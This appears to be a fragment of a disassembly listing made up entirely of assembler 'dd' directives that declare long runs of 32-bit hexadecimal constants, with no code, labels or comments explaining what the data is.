		dd 5A18DF19h, 10B70B53h, 0EBB95F98h, 8C0F1D8Bh,	93712292h
		dd 0CACCC101h, 623EBA78h, 0C2128CB3h, 2F025C47h, 2E3BF1D8h
		dd 0D0FD4ABDh, 80079CB8h, 0B8526BD1h, 854D7109h, 44BA179Fh
		dd 0B8FE8B0Ah, 0DFF6F4D4h, 2CEF86E0h, 10603A2Fh, 48E0CBA2h
		dd 3500424Dh, 754E03F5h, 0D77507FDh, 242C2112h,	5E8E9C8h
		dd 6D794C30h, 203CEB4Bh, 0DCBCB461h, 884CB119h,	886BFAF6h
		dd 0E407DF16h, 0E1163113h, 93543760h, 59DE01F7h, 0D5BFD8Ah
		dd 0A6DE7B88h, 3E991C0h, 0DE05D5A2h, 1F4CAE2Fh,	0B70B1EA3h
		dd 0A10760F1h, 0BBB1B529h, 75AA91D5h, 0A8C5B9E3h, 81A25F83h
		dd 4219150h, 5ABDFBC3h,	0BB2CB863h, 23C0E44Dh, 859C0DFFh
		dd 74C6A937h, 16810676h, 0AC33F9BDh, 1055E2D4h,	0B870DBBFh
		dd 8F71BD9Fh, 18A1CC86h, 25D0D594h, 0EAE73A76h,	9F48DA4Ah
		dd 21A55AE5h, 7F628DC9h, 88EF7503h, 3DD78C40h, 9E6E0EF6h
		dd 8F203CDBh, 0E919D23h, 11A16795h, 0B3530562h,	8BAB5BB6h
		dd 0C9236EADh, 405F598Dh, 1681A2B7h, 99057179h,	1958BBB6h
		dd 0EF268CFBh, 0B3CCD802h, 5E9E763Bh, 0DEE4240Ah, 441BE92Ch
		dd 0C5AD2696h, 34ACE695h, 0BFEAB001h, 612CC2CCh, 0D4374D2Fh
		dd 19206A27h, 5B35CFh, 0A8556FBCh, 0EAEC6D80h, 44828C17h
		dd 4EF51628h, 0A6C2AC14h, 0D8D251Ah, 80E0955Ch,	9C5023E7h
		dd 548F49FDh, 0FAAB1204h, 0E3BEAB84h, 0F0224B71h, 77AF90E8h
		dd 3C7305C6h, 0D2CAEF14h, 0E9DD5F3Ah, 7780FDE7h, 1F392468h
		dd 0D412BF8Eh, 80AB5C56h, 0FFCADBDAh, 0BB9B715Fh, 534AC780h
		dd 640E8DF4h, 37B390DFh, 825BB1F6h, 0BFFF85A5h,	1DC40138h
		dd 0E0683D29h, 0E925EAFBh, 4A7A5961h, 7712DE05h, 0B8E3A22Ch
		dd 3116EB58h, 0C51EAD29h, 0B2094ABBh, 0AEAF7350h, 2500D47Bh
		dd 0CAA36F3Ah, 498922F5h, 328E9A06h, 38A6AEC0h,	8101058Fh
		dd 0D29F3DC0h, 2D266124h, 0BE000453h, 115F4903h, 810BF675h
		dd 8996C3F7h, 25A855FDh, 4B0F26C3h, 0F81719DCh,	58E3591h
		dd 1BF5B014h, 38BC6E4Ch, 889C4B85h, 35952E09h, 0E86880E3h
		dd 660F85A9h, 0BE26BB12h, 3D1765E0h, 0DBCF9AAAh, 0CBE8099h
		dd 4C6BC64h, 9EDBF0BAh,	6D98EB3Eh, 8EF88B0Ch, 0DE0727C3h
		dd 0A433FDC9h, 9ACEAD0h, 0F668978Dh, 1097505Bh,	29F54E2h
		dd 0B91699ABh, 0A84AC15Fh, 7CDCE4DEh, 0BE855823h, 22BD8D05h
		dd 97FF62Ah, 24EDB529h,	8C986185h, 0D27C9503h, 0B112B548h
		dd 85B72752h, 9F301AB2h, 6B427F1Dh, 89FC3C7Fh, 56444227h
		dd 0A7F3D28Eh, 123B1270h, 3121E9F7h, 3A2279A0h,	5ABE26E3h
		dd 0FE002C6Ah, 0C7707840h, 8027FB67h, 31C940C6h, 438B8234h
		dd 6196E37Ch, 3D00D2F2h, 0A954C516h, 804E257h, 667C2C59h
		dd 5EA197B8h, 0E8AC6904h, 84D0778h, 44B590EAh, 58F0EA62h
		dd 9DB08326h, 0E28A1929h, 670D966Bh, 0D42B831Dh, 7B3CE1D9h
		dd 72804F2Ah, 77E76C02h, 0C4D1D52Dh, 0D091009Ch, 0F152AE9Dh
		dd 1E0189F9h, 0B60FAA4Eh, 0ECD42D61h, 0F5511299h, 5BB5E35Bh
		dd 5E9E9020h, 323006Ch,	415A4ADCh, 0B505A675h, 51FFD74Eh
		dd 23816BAAh, 0CD4A0A15h, 53D099Dh, 0F35AB156h,	434C5010h
		dd 5EEAC4Eh, 0BD8531D3h, 0F1BF0309h, 0A838F997h, 3DEE120Ah
		dd 9C84504Fh, 0D02E43A8h, 952960DFh, 8639A99Fh,	4F41A10Fh
		dd 0B281F661h, 31C13017h, 51FBF425h, 823973Eh, 8A17092Dh
		dd 522BCFF1h, 0B820E9D0h, 565E62D2h, 925E0B99h,	482D82E9h
		dd 56CE554Eh, 833AF310h, 0A817EDA4h, 5EAE3091h,	1A367450h
		dd 0AF30144Bh, 5A99B589h, 977DB808h, 0AAACAFC4h, 0ACBD4E7Fh
		dd 0A9BB5A6h, 32D8B5C0h, 0FF2687F7h, 19152581h,	12293BABh
		dd 0A4E22815h, 0A9EAADD2h, 26DD2F4h, 3D0EE036h,	0B284E827h
		dd 955FC130h, 7AFA1411h, 2973E89h, 2FBD63D3h, 5A424558h
		dd 230CC877h, 181125BDh, 16E4CCCDh, 6525AF60h, 44F6315Ch
		dd 605C96ADh, 4B0CC015h, 12454E13h, 0FC742BEAh,	0CB61803Eh
		dd 5A6CE7h, 16014453h, 0C1A7F5F1h, 972EC901h, 50615B36h
		dd 3100E873h, 87B83CF7h, 965EEF16h, 28A89F12h, 96C1A8A4h
		dd 29DB68FEh, 0D21AE20Fh, 7393E973h, 0D669A4C6h, 32A36D2Fh
		dd 62FFEDh, 45B61C55h, 168D6C3Bh, 30EA5096h, 5B5657CEh
		dd 6073F2E3h, 1FF5B670h, 1C195246h, 98FE092Ch, 4F275EDCh
		dd 631C44E0h, 178A9811h, 7B0F09A5h, 0A971ABFAh,	163BF81h
		dd 9C2B6B60h, 0E4BC5DEh, 5E6FEBh, 86DB78A1h, 9D8C0FF7h
		dd 54E09E74h, 0FC88B6h,	81CDB06Dh, 9EAA270Fh, 0A0417F04h
		dd 0DBB892BBh, 0F52942A2h, 0FD8D4DB0h, 0B6B72A4Ah, 62512925h
		dd 967BC613h, 2FAAA13Dh, 0D26CDEFEh, 0D2CBE316h, 46342A01h
		dd 122EEEE9h, 0B839A9AFh, 0B09009FFh, 0A5F5CD36h, 339BC14Ah
		dd 0E90586C1h, 960A4033h, 4FE17C80h, 27E9A101h,	0A900AE2Ch
		dd 0CB831D3Fh, 9E3B3836h
		dd 0BB558EE6h, 0DB752003h, 7B93E123h, 0CF5300F9h, 0EDA53F35h
		dd 0C4005E18h, 0E57FDB0Ch, 19BD52Dh, 0D021B01h,	0CC9E4328h
		dd 2A4FFA8Fh, 415C20BAh, 0ED28452Fh, 0B058C17h,	378F79F7h
		dd 5A6B00FAh, 7D7FB6ABh, 40226F01h, 82DAC4D5h, 5EFE4h
		dd 7A5043E5h, 964EE888h, 5A09510Bh, 15BA808Ch, 2B45BDh
		dd 8019231Ah, 2E2535B2h, 63F7F000h, 92E42179h, 0B2400A8h
		dd 0B9B0AA3Dh, 0D001A699h, 0F57D8617h, 0AFE4DF27h, 54030314h
		dd 3D04E66Fh, 887FF1A8h, 3CC67E03h, 0F0CB4A34h,	322701Bh
		dd 7D6A385Fh, 0D3F8E6DDh, 0AB73E3E7h, 67EDD215h, 5D252DB3h
		dd 0A7065A94h, 0E02C8B4h, 1CE222Eh, 0CA370609h,	513683A4h
		dd 0DB3101E4h, 0C71F7970h, 11828B3Ah, 0CBCA0043h, 0FB3930h
		dd 63836D0Bh, 3217CEC1h, 0FA90061Eh, 0E6816BC0h, 1E72701h
		dd 97DF26F4h, 3E9F62A0h, 663B7EECh, 0D84D28h, 9171AFA6h
		dd 0A993E322h, 25BA3A00h, 51D306FFh, 952F0740h,	83CD37C3h
		dd 0C1C92BEBh, 0CAE86A42h, 8F27C00h, 0A77D707Ah, 5A175D3Ah
		dd 0F18400AEh, 1644A312h, 0C01B0501h, 37E69D90h, 616F82Eh
		dd 0AAD85D52h, 0D6DF06EAh, 0EAB54E1h, 0EF0E6B70h, 3436A4F8h
		dd 0DEAC0195h, 0C9644E26h, 9E71C1DCh, 0A281BC4Bh, 5A51ECD6h
		dd 0A7A88202h, 80D92AF8h, 0CCFF40EAh, 7D0ECC6h,	978C3B4Ch
		dd 0E34A9Eh, 65BFB621h,	7400472Ch, 3265F39h, 0F2BCFAF1h
		dd 2141002Bh, 4EB68C7Fh, 0DA139C69h, 91EF2FC9h,	20176185h
		dd 4809127Fh, 0E1065Eh,	0C1B44469h, 0F6D755A8h,	0DE0194FDh
		dd 0A16133Eh, 5919EAA6h, 4ABC001Dh, 0E8331D2Eh,	5F65582Dh
		dd 91932984h, 273BBA0Ch, 2FFD0223h, 43B59FD5h, 0DFBD17Dh
		dd 0E2C76880h, 38A1C9A8h, 6C63CC17h, 93C157B5h,	806CAC2Fh
		dd 7182EC15h, 29DD02C2h, 60EE16E8h, 0E8461541h,	0DF00B5A8h
		dd 1BB44E24h, 0B83A4236h, 52FF1D50h, 87D0005Bh,	0E967E3D8h
		dd 18244507h, 0EB800CD9h, 5C5E93h, 11FB738Eh, 237B6576h
		dd 31D4DF00h, 0AFC05B45h, 0A55D0015h, 786D1CCBh, 99188CBDh
		dd 0D7F0228h, 0B2A8063Fh, 1DE556BBh, 0C2901F01h, 1B3B3242h
		dd 0A371E0h, 0C3AB5661h, 362D3ED9h, 660AF800h, 82EE14CCh
		dd 0F2EE6D3h, 443BF31Ch, 0C7C47183h, 90FB4C12h,	0D6CFEE1Fh
		dd 0E695C32Ch, 0C8A3F1h, 19107B1Eh, 342731BFh, 0CCA45E12h
		dd 59663400h, 546AD911h, 97A2A94Eh, 240F84D4h, 4A2CA0E2h
		dd 14234239h, 8C59BC2Eh, 10FA6509h, 0C8BEE07Dh,	0A26230D3h
		dd 0BA2D5568h, 0D0DE97h, 0B1510913h, 423C10BFh,	171E18C1h
		dd 7B3DA82Bh, 0B0A7002Ch, 6C04FE56h, 0EA00F482h, 8D5B40F7h
		dd 3D76E81h, 0C4EB4A1Ch, 0B9EFE82Eh, 1888C4F7h,	0C0847D4Dh
		dd 2E16F53h, 5FD1608Bh,	0B1A9003Eh, 241B2CC7h, 4C0095EEh
		dd 3D33CF9Dh, 3C1B853h,	8428ADA2h, 64E05D90h, 7301417Ah
		dd 96DE2691h, 9C09B85h,	5220F3A4h, 0A95A00A2h, 7F87DFC9h
		dd 8B030FF9h, 0D2C77E71h, 54230063h, 0AC36D8E9h, 9200EBB9h
		dd 13FD798Ch, 67D4C978h, 0E0562761h, 9F362BDAh,	0DD908200h
		dd 0C25BF560h, 2D1148F4h, 0B7E9E006h, 2E0BD385h, 8D1A560h
		dd 4340CE1Eh, 0B2969F94h, 0BE29022Eh, 734062C7h, 0AB81D085h
		dd 0B8A89DA4h, 0CF1C004Eh, 0F869877Dh, 7F2CC0CAh, 0FD003F9Ah
		dd 363AC806h, 4513174Ch, 59C800BFh, 289A7067h, 0E6D96900h
		dd 0E47EF210h, 96DF1D34h, 0AF75C0E7h, 0BB262A6Ch, 8979D113h
		dd 7A60204Ch, 37FE00F3h, 882273AFh, 0B7004F1Dh,	0B468D7C1h
		dd 3AA0A119h, 8F80BBCBh, 6F89839Ch, 5900AE7Ch, 0FB6C6110h
		dd 5A24465Eh, 0E10FBEBCh, 12D26E7Dh, 9F964D60h,	0ECD15980h
		dd 4E197E03h, 0A3F741BBh, 0DEA07C66h, 3659FFF4h, 1E8900DFh
		dd 6F795E0Dh, 37C800DFh, 62A47227h, 0DE911F16h,	0A00E11Eh
		dd 275EEF90h, 2FB80086h, 2114342Bh, 0B930B74Bh,	2A4E161Fh
		dd 12070040h, 9EEFB023h, 18022994h, 511FE321h, 1D82ADA2h
		dd 0CC268200h, 0E6920974h, 647D78FCh, 51B109FFh, 0D25E351Fh
		dd 0F2E2740h, 0B0C21941h, 2FDC80C6h, 7DAF4BACh,	80E1893Bh
		dd 904D5CBBh, 3EB8103h,	4B012376h, 979FDBF7h, 8F29A1C3h
		dd 5BD9ECB8h, 8703E7B4h, 125C240Ch, 0D7C18145h,	10E9654Ah
		dd 891D1306h, 9568041Ch, 14181E2Fh, 89121310h, 0D9B8E004h
		dd 661D2501h, 2C0F522Dh, 935D8h, 894EDFD0h, 8B5458C3h
		dd 0C4833CC0h, 9CB85004h, 0D0018120h, 0F28B1889h, 34FF1083h
		dd 595F5AB2h, 5B153362h, 84E92307h, 0F3B7FBB2h,	423FB850h
		dd 0F7BE00DEh, 4A8C12A3h, 897D8B6Ah, 0F5CB1F25h, 9DEF6090h
		dd 0B3551E01h, 6C14D015h, 2E87DCh, 1D0DDB26h, 1A858368h
		dd 1BB1C000h, 5E6D147Ah, 76F663h, 0EE0C2438h, 0E63B2243h
		dd 39001CFCh, 1946DD33h, 3643C5Dh, 20BCE2Ah, 1E0B6C1h
		dd 0B200AA76h, 4C0FD420h, 1DE7D262h, 40BD4234h,	45155783h
		dd 4DE87D5Eh, 3D77BF00h, 3C0BB565h, 162C25ECh, 46D6897Eh
		dd 0F1180916h, 0BE2D827h, 310FFB8Bh, 0AC002664h, 0C28D120Ah
		dd 4E8F3662h, 35E977B3h, 0CBB2C4h, 4921751Ah, 0FA7AB3FDh
		dd 2F0D1738h, 122FACE7h, 92A69050h, 0A3FEADE0h,	0F5E9CB02h
		dd 0DB6A788Fh, 8E4178E8h, 4CA5C202h, 55F5335Ch,	31244FE6h
		dd 5B25639Dh, 51AD0378h, 37C0F23Ch, 6461B0CEh, 48F0F7Ah
		dd 2ABB6610h, 0A5C78A50h, 0B72ECE2Dh, 19D4AFEAh, 0AB9DBC9h
		dd 0A7F515B5h, 2960205Ch, 9D34258Dh, 1744024Dh,	4ED44260h
		dd 0F860C002h, 5D5D9529h, 8C705529h, 930210B7h,	74F61313h
		dd 20B7A8F7h, 38D79C12h, 0D3C452ADh, 8800557Fh,	0D13EF151h
		dd 82CC99h, 66BE3F04h, 0F022BD61h, 4D1534Fh, 940492DEh
		dd 81CC601Ch, 4C1210CBh, 36346461h, 0C9829CAFh,	97DC9E12h
		dd 73800E24h, 5AB60503h, 0B86ABB0Eh, 9F2C605Ah,	5F0CD54Dh
		dd 0FA7A46CDh, 0FC214A55h, 0F6F6B4E8h, 0D1FFADA0h, 0C03F6DBDh
		dd 7EF4AE47h, 762F5600h, 8154A55Ah, 2D8F7EE7h, 34651897h
		dd 7BBF7112h, 3B0C01D7h, 800F1939h, 0E37EC549h,	9D89094Fh
		dd 2F4E885h, 0F4D09BBh,	94F567CFh, 0DBFB95AEh, 3BA8B950h
		dd 0AD274254h, 0F097453h, 1E4D982h, 0E961F559h,	0E5386AD3h
		dd 47CE41AFh, 8C2AE53Ch, 0F771A2CFh, 995AB201h,	8E34D847h
		dd 4AB356Ah, 902E5B8h, 717990h,	0E0107860h, 0D1EAD18h
		dd 65419CD2h, 0BB62CE19h, 954642DCh, 870F3FE0h,	0D2B755A0h
		dd 85899012h, 0AF45C4EEh, 1788969Bh, 0C480EC0h,	3B889DCEh
		dd 3A78AFFEh, 9080ED91h, 79425039h, 0F1DF00CBh,	1A58265Ch
		dd 0A11ED210h, 72D6765Ah, 0F0AF88h, 0C306BD1Dh,	0D1F5F31Fh
		dd 7F0F6FECh, 0E5979828h, 0ADA95F3Eh, 8C1BB8h, 88571F87h
		dd 7FBA8FC7h, 44AF15B5h, 8076B8A2h, 972A530h, 0D49F01B7h
		dd 1514D235h, 0B88F4466h, 0F0FF2DFAh, 2C95207Fh, 550A41B5h
		dd 0E8B9AD3Bh, 0B85E0092h, 91CC7649h, 31092AF6h, 5F1361BDh
		dd 1645A694h, 0B0E80C6Ah, 0E305810Ah, 70E6E027h, 409E3681h
		dd 2F11B13Eh, 0E1FADEC8h, 1B05BD10h, 9D030886h,	29E015CDh
		dd 0C02DB1B5h, 81C18B16h, 0B31685DBh, 97A573C2h, 1F6AFAF1h
		dd 63EFCE9Ah, 162BB007h, 0DA671CC8h, 0D153DE06h, 29BEC50Fh
		dd 49E92F8Fh, 43BE9200h, 0C2C37BA6h, 76488801h,	17714AFDh
		dd 0E94CE47Ah, 6019F995h, 16C19D2Bh, 5585A9C2h,	0F5F9D719h
		dd 6269B087h, 0DC1301E1h
		dd 8EE5B29Eh, 0EAF3E635h, 1184F649h, 1C6A8AB9h,	59BB01D6h
		dd 6A3ED0E7h, 0A723D448h, 2D00DFD9h, 0F12C3CEBh, 254E01B3h
		dd 573BB21Eh, 78A97814h, 9A28DDEh, 0EBDB531h, 0B454C7Fh
		dd 2E059D33h, 2011EA53h, 7DE7800Fh, 418A58Ah, 8465B7FEh
		dd 0ED7812E0h, 53DECBCFh, 250D05EFh, 806F9E2Eh,	0AB25DD0Eh
		dd 36B9274Fh, 4A02D4C3h, 5B71C5BBh, 1CE1DD09h, 0A0B26E03h
		dd 0A08FF6D3h, 0ED5A6Eh, 8160A3DFh, 0E037C0EAh,	0BF575C00h
		dd 41144806h, 88615A5Ah, 0E6024ADFh, 0B9F6A8BBh, 0EED62B56h
		dd 220CC9E2h, 0CDF5FCE1h, 2AB4C07Dh, 0B60296DEh, 8BF960EAh
		dd 6A10D595h, 0C905D381h, 0FC552C36h, 2B5E5BD0h, 0DFB7B7C0h
		dd 0E16AA802h, 0D4E542EBh, 0A3FBAF0Ah, 59E5B78h, 0B501B7BEh
		dd 6A73F1F1h, 0B63A2C6Dh, 60D5B159h, 2619A8F0h,	116343ABh
		dd 9529047Dh, 0DEBE2821h, 0D83281CEh, 7AC0C839h, 8B4F5813h
		dd 0F2D41527h, 0C38702E9h, 0A487F56Bh, 6F068DF0h, 40908D9Bh
		dd 6693D5C0h, 5F0E95ECh, 0BD892D8Dh, 2DEA2793h,	0A9A93FE6h
		dd 31EDBD0Bh, 0B778E651h, 0DC6D951Dh, 5107EBCEh, 25A846D7h
		dd 52E076ADh, 9CAF5E2h,	8F0F5937h, 0F81393F9h, 50F0B030h
		dd 7B290133h, 4CFBB30Ch, 2DE9D05Ah, 0BE606201h,	339004DBh
		dd 0FCF1C840h, 526BE361h, 0FDBBA1Ch, 191AB381h,	0D4C821D5h
		dd 0A95A7B74h, 1AC81CDAh, 0F5600CC0h, 75090140h, 819D23DEh
		dd 0E1FF010Fh, 9F0A9D64h, 0ECC61459h, 0CAF55A6Dh, 0B5F92200h
		dd 0E600D537h, 0B925BB99h, 80E90B0Ch, 215919D7h, 4F499147h
		dd 959240DBh, 84832DE5h, 97536044h, 5B98E1A7h, 0CCA43EF8h
		dd 6E194580h, 39A2B88h,	0B0CFAE30h, 18B8A37Fh, 400FD147h
		dd 0B23FF4D5h, 955FE9F0h, 0CB28805Bh, 0EF32A120h, 126A0D21h
		dd 80769B38h, 0A25AB5EAh, 0D2810446h, 0AAE24048h, 3E0D3720h
		dd 5AC216D5h, 1B45B4C9h, 57610141h, 0B5E9E66Bh,	0DD809EA9h
		dd 75953194h, 44DD0E5Ah, 6F001A63h, 75D33A31h, 630057E0h
		dd 0F05C5B15h, 580F504Dh, 0BB93698Ch, 0D5D8FD0Bh, 0F876712Bh
		dd 176B04DCh, 0EC10DEDCh, 7F4CDA61h, 76E5E990h,	28FE1001h
		dd 37F18811h, 456995F4h, 3EB22B1Fh, 0E3EC1396h,	19BE40F9h
		dd 62DC503h, 768BD5B3h,	0AC375F8Dh, 8902D338h, 5C582D7Bh
		dd 6E27DC2Fh, 0A5615B8Fh, 62D4DD54h, 921C88CEh,	2D31C15Dh
		dd 7F57DD3Ah, 20A0582h,	134A94E9h, 0D98641FFh, 8C336A09h
		dd 589E90Bh, 6AF6DD6Fh,	7BAF6E12h, 3E950008h, 2568312Dh
		dd 9C051688h, 6ABFF11Dh, 9D319130h, 0CB1A697Dh,	216063F6h
		dd 1B168CDh, 35BBBC0Eh,	2611DDF9h, 5E845A77h, 0EEB84CFDh
		dd 9E4AD428h, 96FF74E5h, 555E8B97h, 14C8D003h, 62DE132Dh
		dd 0F62D5E71h, 0FDE63400h, 6C48EE7Ah, 0C9AD5065h, 292140A9h
		dd 0FEBD4Eh, 0A2856847h, 604F9B76h, 5800ADE2h, 8410BC4Eh
		dd 3F003407h, 36A33BEEh, 0B020698Eh, 0C85F5ED0h, 0F700AB74h
		dd 8588A506h, 6284CDh, 0EEE0D658h, 0F757016h, 0EFACB4Bh
		dd 0A8A57AC6h, 0C2CEDB64h, 0F5B479E5h, 3E32BF49h, 89FD6A2h
		dd 7A52561h, 0F55950BDh, 0E3172B37h, 0F63B4AF1h, 9015B2B8h
		dd 0C04E315Ch, 0B589DF4Ch, 61801BB9h, 0F7110BBBh, 0B659086Ch
		dd 0D496D6E9h, 0CBB2A55Bh, 0B87F04Eh, 0F9B59CB5h, 9497A815h
		dd 5A2D3E13h, 1DA897DBh, 0FFC0398Ch, 5A840500h,	7931ACBBh
		dd 7CD4D0AAh, 5DA7EF51h, 16C9F4C0h, 4B43E2B6h, 21B1B107h
		dd 3480F13Ch, 0F0BEC122h, 8579F1Eh, 36967E0Ch, 0A98D0AA3h
		dd 59C65B1Eh, 7D66A5BCh, 0F16EE37h, 16B284B6h, 2C11E30h
		dd 2341BBE2h, 6BD63303h, 89EF0B65h, 4EF66B67h, 88715B3h
		dd 0F6CAF642h, 0A4C540DBh, 310152EEh, 0F1B22C27h, 746B4B59h
		dd 0D0DAEF66h, 487DF889h, 987B9344h, 0B5C8E0B3h, 233D341h
		dd 0EFC696h, 22054D6h, 0E7BC342h, 5BB8E64Bh, 4B118911h
		dd 430408ACh, 133DA4B7h, 0BB3B34EBh, 0E051B416h, 0F5BC93C7h
		dd 1F5B0827h, 0D7181779h, 0CED4C216h, 7BB5C8h, 246B9348h
		dd 707F0795h, 7ED2A455h, 31B0F5F7h, 1C2DCC13h, 0C476662Bh
		dd 0EB2641CCh, 0C8814774h, 9D6A291Dh, 6A703131h, 0BC6C5515h
		dd 25035C82h, 1E5B2227h, 50187327h, 0F34E6512h,	86110EB6h
		dd 16745804h, 68B1F727h, 7F72Ah, 60755381h, 2175784h, 0F799AAE8h
		dd 0AFA8F814h, 0D4BBC0F7h, 184E47E8h, 22A8D7A2h, 0CF511E00h
		dd 8854BE3Dh, 0FAA24BBAh, 0DCC7A620h, 99A4006Eh, 0E58CA359h
		dd 8F004CBEh, 0B7BA1769h, 0B72C1F16h, 6DDFBAEAh, 1E42C0ACh
		dd 0DB298371h, 992074A3h, 46E6482Dh, 2D2CB0FAh,	0D74718A5h
		dd 0CBDE5F13h, 22DB54C1h, 0FEC12AAEh, 844C59D7h, 4B7B00EEh
		dd 74850930h, 0B80005DCh, 142CB156h, 0B825C0DFh, 0F7134806h
		dd 0ED001222h, 0DF6B3C38h, 0D49E51h, 1C0D7F7Ah,	0F8AE635Ah
		dd 5553902Dh, 6401092h,	82ACFC96h, 0CD950109h, 30965F19h
		dd 0B263B58Dh, 0E337F0BAh, 0C98A16Bh, 97F5F22Fh, 899A30FEh
		dd 45BD2D8Dh, 0B7424EFh, 0AB7EA442h, 0B48B5FF2h, 0C0714D55h
		dd 554117Ch, 97C7E002h,	0D47F0F69h, 0EAC665F2h,	0EE00827Ah
		dd 0DE367380h, 1F2F944Ah, 0F695D49Ah, 10C08BBCh, 0B29596Fh
		dd 0B3192051h, 0F952A0F7h, 97F3A2E9h, 7BDE537Ch, 66920E4Eh
		dd 0B2D7CE8Dh, 96A30003h, 0A0CAA421h, 1817EAAh,	4A3ABEABh
		dd 6BF58FA8h, 496FD5F1h, 554DC135h, 0E3B8CCC5h,	0D9FB182Dh
		dd 80F4D1ADh, 2F527473h, 6E01A2B2h, 50019892h, 0F86B9D89h
		dd 0DA5F3823h, 0C54F20BEh, 0AE0071E3h, 0CE88687Eh, 97BB9BA3h
		dd 45664EC0h, 1170B208h, 5FFA0BE0h, 25A16457h, 97DBD09h
		dd 0D0347327h, 0E01EDC61h, 9B1F8974h, 992DB9ACh, 0EE85F8E0h
		dd 0B02EDE3Dh, 324BC19Fh, 1588E39Ah, 9060ECC0h,	1832FF0Fh
		dd 0D073E24Fh, 0C4049B08h, 89798BC0h, 0D88A3290h, 64D58B7Ch
		dd 7695F84Dh, 0A1948401h, 0D44F1040h, 463C0025h, 8113340Bh
		dd 9E024115h, 4E929CC4h, 6CBE5C76h, 104009E8h, 46DF0481h
		dd 0B808391Bh, 0FFF8C2A2h, 0E0F04DD1h, 8FD489FFh, 6846102h
		dd 4AE8DE64h, 53845696h, 0B589438Ch, 34EACCC1h,	1C6AFA95h
		dd 0DC152A01h, 6EA370D4h, 53FCB212h, 794C443Fh,	3F06A910h
		dd 74CA4C90h, 0C19AEDBDh, 3A5F6BBCh, 0CCAB38C4h, 0E9CA51C3h
		dd 150BB25Bh, 99F1D325h, 2AF09860h, 20FCAF36h, 61091FA9h
		dd 710CFFE9h, 85476498h, 0D29BFB54h, 30996DC0h,	0F5275897h
		dd 13EFD628h, 0E058B6FAh, 9D1AC69Ch, 0D0AD744Eh, 3655A560h
		dd 81650B98h, 715E3F77h, 50139B22h, 0A4CC5B7h, 4AF9AE56h
		dd 0B8A6F95Bh, 7E018C1Ah, 0B14C88A6h, 0EB632BCAh, 3863AF4Ah
		dd 6CF3F086h, 0DBF70066h, 57EED7A7h, 5B4B6160h,	0DA5FB48Bh
		dd 2D1784BCh, 0A82EDF9Dh, 0BBB392DFh, 1C2FFC4Ah, 6A5F5BA5h
		dd 0C5C3CD65h, 6DF6810Bh, 65F72E19h, 0C01F5AA0h, 0CCB96502h
		dd 0FF2278A2h, 999522CCh, 0AF1457A4h, 0D1440C20h, 0D8BD01A7h
		dd 89399A2Ah, 11B47F85h, 95B0705Fh, 0D8A0C9F2h,	469D0969h
		dd 0A92F5B49h, 0D03C0BDh, 2D822B58h, 855C8B79h,	36EA2916h
		dd 22E248BDh, 0D7BD3297h, 9D10DBCCh, 0A34C2809h, 0BD35013Fh
		dd 4097FA7Bh, 25086187h, 9BB3C660h, 2DC78102h, 570C6C1Fh
		dd 7C8CBBC1h, 0CAB0D2DFh, 0E9FF17BFh, 0C11AA9D2h, 0B799EA43h
		dd 10CFD497h, 0B2939280h, 0BDB9007Bh, 1CFD288Ah, 0F24D256Ah
		dd 960A6C0h
		dd 2371B512h, 4AD0CCAEh, 4B78B100h, 0B52189Fh, 29100C0h
		dd 7665A709h, 2877A190h, 2ACD8510h, 0A9615F17h,	0D38104B0h
		dd 0C4B9E375h, 60063022h, 2D718D03h, 2B0E456Dh,	0F7809DB8h
		dd 0C670F1ABh, 662E9602h, 49FDB50Bh, 6A30595Dh,	4F47BE52h
		dd 90569C4h, 1AEF7CF9h,	44C903FFh, 0D1622E23h, 0CCFC2534h
		dd 0AC7C908Dh, 2AF54201h, 0C51D4835h, 54D3FFCh,	83DF3A75h
		dd 0FE2B00A5h, 3218D31h, 0B521A4B1h, 3D9D2907h,	50D4D4C9h
		dd 3180571Bh, 975EBC95h, 2B17F56Ah, 2AA0BE34h, 0B92708BCh
		dd 0BB010FA7h, 56A5FD2Fh, 2992DF78h, 0FCE0922Eh, 5D9416AEh
		dd 6FB7E574h, 0A252B904h, 166F8CFEh, 7AA0BA07h,	750089B3h
		dd 0E47DB51Fh, 95B870D3h, 6D61326Fh, 0F82B0CDCh, 1899049h
		dd 29D22BD9h, 0A76E05BDh, 4298950h, 0E4E920C7h,	61E92BE9h
		dd 50E55728h, 25DFC142h, 51C4A85Ch, 4DE78016h, 49306BEAh
		dd 0CF76C0D1h, 38B69C08h, 28A5D420h, 7AC243C6h,	0DDAC72EFh
		dd 17D91845h, 12F97848h, 0B7EED53h, 0E1A85D8Eh,	0C809D625h
		dd 986035B2h, 2614DC7h,	0D8FCE5DAh, 0E604253h, 568A1A05h
		dd 3F565175h, 45035B7Bh, 0B8D1066Bh, 17BDD884h,	0C539D495h
		dd 0D7CCBB60h, 0E1EF00B1h, 3E71D3B6h, 0D07B6F51h, 408F0F28h
		dd 0B0C38000h, 0FF27B361h, 0F38102E1h, 3FECA7FAh, 0DD51235Ch
		dd 9850110h, 28A3194Eh,	3D5FE589h, 685C80C9h, 0D2FF42A6h
		dd 19448DBEh, 8119E2EFh, 0E5E22247h, 0E2931A68h, 4A0802B0h
		dd 0DD759F9Eh, 7F5B1049h, 8D3973E6h, 8451242Fh,	314B4DC4h
		dd 60425DFEh, 5DAF9AF8h, 0AB844E73h, 43B88CE7h,	6EBC4849h
		dd 0A099BD13h, 0F2FED734h, 6FDA00E8h, 1869D6C3h, 0F7E712ECh
		dd 4148E122h, 6E234507h, 0E22718A3h, 0CB0007CEh, 0F295E1ACh
		dd 1116048h, 0A9CDE8F0h, 2AE3B75Eh, 0DACB934h, 0BE1101D2h
		dd 2C43D684h, 90422CEh,	5444BB66h, 0FFD9E104h, 2CE0BFF6h
		dd 0DA317FD1h, 1B21C693h, 0FDE78405h, 6FFA5B2Ah, 80D33837h
		dd 49178EFCh, 0BD34505Bh, 37F61h, 1FA3BB52h, 0C016479Dh
		dd 9A2E0168h, 0AA60B79Ch, 0D5FE24E6h, 0E6635E84h, 8313E060h
		dd 4FCA023Dh, 73B7156Eh, 7D696954h, 3709E882h, 0E961ED56h
		dd 456E019Fh, 0EA0DADE7h, 17532173h, 0EA2C1130h, 95F59528h
		dd 0CD77E892h, 0A97DE9CDh, 88CD57ECh, 100E1847h, 6724EA97h
		dd 159BC2FBh, 1EFE8904h, 0F94EA2C6h, 526C350Fh,	89C24267h
		dd 7961F346h, 3A2121B4h, 0F196C049h, 71E601C5h,	6B75F47Bh
		dd 0BB136608h, 693A52AEh, 9C504CD7h, 0B9969238h, 966B861h
		dd 0A42E8449h, 0B8C7B984h, 98E99236h, 874825BCh, 0E651205h
